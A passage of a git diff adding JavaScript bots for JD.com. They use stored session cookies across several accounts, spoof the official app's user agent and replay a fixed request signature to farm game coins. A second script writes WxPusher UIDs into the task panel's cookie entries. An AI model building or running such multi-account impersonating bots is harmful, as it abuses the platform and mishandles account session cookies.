(require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruidddj-isv.isvjcloud.com/api/user/jd/auth', + body: `token=${$.token2}&source=01`, + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'Authorization': 'Bearer undefined', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Sec-Fetch-Mode': 'cors', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Sec-Fetch-Site': 'same-origin', + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/exception/?channel=DDLY&sid=fd5e44488241862af88cb40cbebf660w&un_area=12_904_3373_62101', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': `IsvToken=${$.isvToken};` + }, + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token = data.body.access_token + console.log($.token) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function detail() { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/detail', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + } + }, (err, resp, data) => { + if (!err) { + try { + resolve(JSON.parse(data).body.task_component.task_vos) + } catch (e) { + resolve("黑号") + } finally { + resolve([]) + } + } + }) + }) +} + +function do_task(token, id, type) { + return new Promise(resolve => { + // console.log(token, id, type) + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/do_task', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + }, + body: `token=${token}&task_id=${id}&task_type=${type}` + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + if (data.status === '0') { + let result = data.body.result + console.log(`任务成功:本次获得 ${result.acquired_score},账户总额 ${result.user_score}`) + resolve(200); + } else { + console.log('任务失败!') + resolve(502) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +function makeShareCode() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/client.action?functionId=jdf_queryBothwayFriendsInfo', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'Cookie': cookie + }, + body: "body=%7B%7D&build=167694&client=apple&clientVersion=10.0.2&openudid=fc13275e23b2613e6aae772533ca6f349d2e0a86&sign=399128e7314f716adbf1ca9d9c205a10&st=1623850849392&sv=110" + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + resolve(data.data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +function get_produce_coins() { + return new Promise(resolve => { + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/club/get_produce_coins', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + }, + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + console.log("收币:", data) + if (data.status === '0') { + let coins = parseInt(data.body.coins) + console.log(`收币成功:获得 ${coins}`) + } else { + console.log('收币失败!') + resolve(500) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(200) + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_UpdateUIDtoRemark.js b/jd_UpdateUIDtoRemark.js new file mode 100644 index 0000000..0cffd9d --- /dev/null +++ b/jd_UpdateUIDtoRemark.js @@ -0,0 +1,521 @@ +/* +cron "30 10 * * *" jd_UpdateUIDtoRemark.js, tag:Uid迁移工具 + */ + +const $ = new Env('WxPusherUid迁移工具'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const got = require('got'); +const { + getEnvs, + getEnvById, + DisableCk, + EnableCk, + updateEnv, + updateEnv11, + getstatus +} = require('./ql'); + +let strUidFile = '/ql/scripts/CK_WxPusherUid.json'; +const fs = require('fs'); +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到WxPusherUid文件,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + + +!(async() => { + const envs = await getEnvs(); + if (!envs[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + var struid = ""; + var strRemark = ""; + for (let i = 0; i < envs.length; i++) { + if (envs[i].value) { + var tempid = 0; + if(envs[i]._id) + tempid = envs[i]._id; + if(envs[i].id) + tempid = envs[i].id; + + cookie = await getEnvById(tempid); + + if(!cookie) + continue; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + console.log(`\n**********检测【京东账号${$.index}】${$.UserName}**********\n`); + strRemark = envs[i].remarks; + struid = getuuid(strRemark, $.UserName); + if (struid) { + //这是为了处理ninjia的remark格式 + strRemark = strRemark.replace("remark=", ""); + strRemark = strRemark.replace(";", ""); + + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + strRemark = strRemark + "@@" + struid; + } else { + var DateTimestamp = new Date(envs[i].timestamp); + strRemark = strRemark + "@@" + DateTimestamp.getTime() + "@@" + struid; + } + + if (envs[i]._id) { + var updateEnvBody = await updateEnv(cookie, envs[i]._id, strRemark); + + if (updateEnvBody.code == 200) + console.log("更新Remark成功!"); + else + console.log("更新Remark失败!"); + } + if (envs[i].id) { + var updateEnvBody = await updateEnv11(cookie, envs[i].id, strRemark); + + if (updateEnvBody.code == 200) + console.log("新版青龙更新Remark成功!"); + else + console.log("新版青龙更新Remark失败!"); + } + + } + } + } + +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()) + +function getuuid(strRemark, PtPin) { + var strTempuuid = ""; + var strUid = ""; + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length > 4) { + if (TempRemarkList[j].substring(0, 4) == "UID_") { + strTempuuid = TempRemarkList[j]; + break; + } + } + } + } + } + } + if (!strTempuuid && TempCKUid) { + console.log(`查询uid`); + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + strUid = TempCKUid[j].Uid; + break; + } + } + } + console.log(`uid:`+strUid); + return strUid; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + 